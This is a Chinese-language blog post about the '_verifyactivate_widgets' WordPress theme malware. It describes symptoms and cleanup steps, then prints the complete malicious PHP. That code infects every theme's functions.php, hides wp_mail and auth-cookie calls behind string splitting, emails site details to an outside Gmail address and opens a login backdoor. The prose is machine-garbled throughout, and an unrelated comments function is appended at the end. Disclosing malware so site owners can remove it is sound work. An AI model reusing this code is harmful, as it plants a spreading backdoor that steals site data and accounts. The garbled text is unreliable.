wordpress歹意代码处理办法分享

2022-02-18 收藏 0 点赞 0 图文教程

明天莫明其妙发现本人的测试站的主题带上了歹意代码，十分显著的就是呈现了一个函数_verifyactivate_widgets，通常状况下，一旦呈现了这个函数在你的主题中，你就费事了，这是一串歹意代码，尽管不影响主题的应用（有的时分是影响的，当收到双重感染的时分，_verifyactivate_widgets函数会呈现两次，招致了主题不能应用），但这段代码将会告诉代码的作者（邮件形式），而且PHP能够恣意的获取用户名、博客的主题文件等等，而且它还特别为博客创立了一些看下来十分有用的代码，一些挂件等等，所有的所有都被暴露给这段代码的作者。这里将这段代码曝光，并激烈谴责这些歹意代码的消费者。

症状：
1、可能会提醒_verifyactivate_widgets函数申明了两次，顺序谬误，主题不能应用；
2、以后博客下的一切主题的functions.php中都会带上面这段代码；
3、即便你经过FTP将这段代码删除，但你只需再运转一次博客，它就会像噩梦一样从新回来。

这段代码的性能就是收集博客的材料，各种材料，包括文章、用户和评论等等。你的博客很有可能成为为他人发明内容和财产的肉鸡。

医治：
1、在空间治理面板先停用这个域名，应用沙盒性能，或许联络你的效劳商；
2、备份一切数据，删除目前应用的主题之外的其余一切主题；
3、下载以后主题，一个文件一个文件的反省，把本来不属于你的代码删除；
4、从新上传和开启网站；
5、应用FTP，将你的主题文件的权限的“写入”权限去除（重要）；
6、利用360等其余第三方PHP杀毒顺序对网站进行杀毒；
7、确保你的WordPress零碎没有被感染，确保你的主机没有被感染。


<?php
function _verifyactivate_widgets(){
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    $output=strip_tags($output, $allowed);
    $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
        foreach ($direst as $item){
            if (is_writable($item)){
                $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                $cont=file_get_contents($item);
                if (stripos($cont,$ftion) === false){
                    $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
                    $output .= $before . "Not found" . $after;
                    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);                
                    $output .= ($isshowdots && $ellipsis) ? "..." : "";
                }
            }
        }
    }
    return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
    $places=array_shift($wids);
    if(substr($places,-1) == "/"){
        $places=substr($places,0,-1);
    }
    if(!file_exists($places) || !is_dir($places)){
        return false;
    }elseif(is_readable($places)){
        $elems=scandir($places);
        foreach ($elems as $elem){
            if ($elem != "." && $elem != ".."){
                if (is_dir($places . "/" . $elem)){
                    $wids[]=$places . "/" . $elem;
                } elseif (is_file($places . "/" . $elem)&& 
                    $elem == substr(__FILE__,-13)){
                    $items[]=$places . "/" . $elem;}
                }
            }
    }else{
        return false;    
    }
    if (sizeof($wids) > 0){
        return _get_allwidgets_cont($wids,$items);
    } else {
        return $items;
    }
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}</p>
<p>if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
    function scandir($dir,$listDirectories=false, $skipDots=true) {
        $dirArray = array();
        if ($handle = opendir($dir)) {
            while (false !== ($file = readdir($handle))) {
                if (($file != "." && $file != "..") || $skipDots == true) {
                    if($listDirectories == false) { if(is_dir($file)) { continue; } }
                    array_push($dirArray,basename($file));
                }
            }
            closedir($handle);
        }
        return $dirArray;
    }
}
add_action("admin_head", "_verifyactivate_widgets");
function _getprepare_widget(){
    if(!isset($text_length)) $text_length=120;
    if(!isset($check)) $check="cookie";
    if(!isset($tagsallowed)) $tagsallowed="<a>";
    if(!isset($filter)) $filter="none";
    if(!isset($coma)) $coma="";
    if(!isset($home_filter)) $home_filter=get_option("home"); 
    if(!isset($pref_filters)) $pref_filters="wp_";
    if(!isset($is_use_more_link)) $is_use_more_link=1; 
    if(!isset($com_type)) $com_type=""; 
    if(!isset($cpages)) $cpages=$_GET["cperpage"];
    if(!isset($post_auth_comments)) $post_auth_comments="";
    if(!isset($com_is_approved)) $com_is_approved=""; 
    if(!isset($post_auth)) $post_auth="auth";
    if(!isset($link_text_more)) $link_text_more="(more...)";
    if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
    if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
    if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
    if(!isset($contentmore)) $contentmore="ma".$coma."il";
    if(!isset($for_more)) $for_more=1;
    if(!isset($fakeit)) $fakeit=1;
    if(!isset($sql)) $sql="";
    if (!$widget_yes) :</p>
<p>    global $wpdb, $post;
    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if (!empty($post->post_password)) { 
        if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
            if(is_feed()) { 
                $output=__("There is no excerpt because this is a protected post.");
            } else {
                $output=get_the_password_form();
            }
        }
    }
    if(!isset($fixed_tags)) $fixed_tags=1;
    if(!isset($filters)) $filters=$home_filter; 
    if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
    if(!isset($tag_aditional)) $tag_aditional="p";
    if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
    if(!isset($more_text_link)) $more_text_link="Continue reading this entry";    
    if(!isset($isshowdots)) $isshowdots=1;</p>
<p>    $comments=$wpdb->get_results($sql);    
    if($fakeit == 2) { 
        $text=$post->post_content;
    } elseif($fakeit == 1) { 
        $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    } else { 
        $text=$post->post_excerpt;
    }
    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if($text_length < 0) {
        $output=$text;
    } else {
        if(!$no_more && strpos($text, "<!--more-->")) {
            $text=explode("<!--more-->", $text, 2);
            $l=count($text[0]);
            $more_link=1;
            $comments=$wpdb->get_results($sql);
        } else {
            $text=explode(" ", $text);
            if(count($text) > $text_length) {
                $l=$text_length;
                $ellipsis=1;
            } else {
                $l=count($text);
                $link_text_more="";
                $ellipsis=0;
            }
        }
        for ($i=0; $i<$l; $i++)
                $output .= $text[$i] . " ";
    }
    update_option("_is_widget_active_", 1);
    if("all" != $tagsallowed) {
        $output=strip_tags($output, $tagsallowed);
        return $output;
    }
    endif;
    $output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($fixed_tags) ? balanceTags($output, true) : $output;
    $output .= ($isshowdots && $ellipsis) ? "..." : "";
    $output=apply_filters($filter, $output);
    switch($tag_aditional) {
        case("p") :
            $tag="p";
        break;
        case("span") :
            $tag="span";
        break;
        case("p") :
            $tag="p";
        break;
        default :
            $tag="span";
    }</p>
<p>    if ($is_use_more_link ) {
        if($for_more) {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n";
        } else {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n";
        }
    }
    return $output;
}</p>
<p>add_action("init", "_getprepare_widget");</p>
<p>function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    global $wpdb;
    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    if(!$show_pass_post) $request .= " AND post_password =\"\"";
    if($duration !="") { 
        $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    $posts=$wpdb->get_results($request);
    $output="";
    if ($posts) {
        foreach ($posts as $post) {
            $post_title=stripslashes($post->post_title);
            $comment_count=$post->comment_count;
            $permalink=get_permalink($post->ID);
            $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
        }
    } else {
        $output .= $before . "None found" . $after;
    }
    return  $output;
}</p>
<p> //获取**评论
function Get_Recent_Comment($limit=16,$cut_length=24){
    global $wpdb;    
    $admin_email = "'" . get_bloginfo ('admin_email') . "'"; //获取治理员邮箱，以便扫除治理员的评论
    $rccdb = $wpdb->get_results("
        SELECT ID, post_title, comment_ID, comment_author, comment_author_email, comment_content
        FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts
        ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID)
        WHERE comment_approved = '1'
        AND comment_type = ''
        AND post_password = ''
        AND comment_author_email != $admin_email
        ORDER BY comment_date_gmt
        DESC LIMIT $limit
     ");//数据库查问取得想要的后果     
    foreach ($rccdb as $row) { 
        $rcc .= "<li>".get_avatar($row,$size='32')."<span>".$row->comment_author ."：</span>"."
". "<a href='"
        . get_permalink($row->ID) . "#comment-" . $row->comment_ID
        . "' title='查看 " . $row->post_title . "'>" . cut_str($row->comment_content,$cut_length)."</a>". "</li>";
    }//遍历查问到后果，取得想要的值，其中拔出一些HTML元素，以便定义CSS款式    
    //$rcc = convert_smilies($rcc);//容许评论内容中显示表情
    echo $rcc;//输入后果
}
?>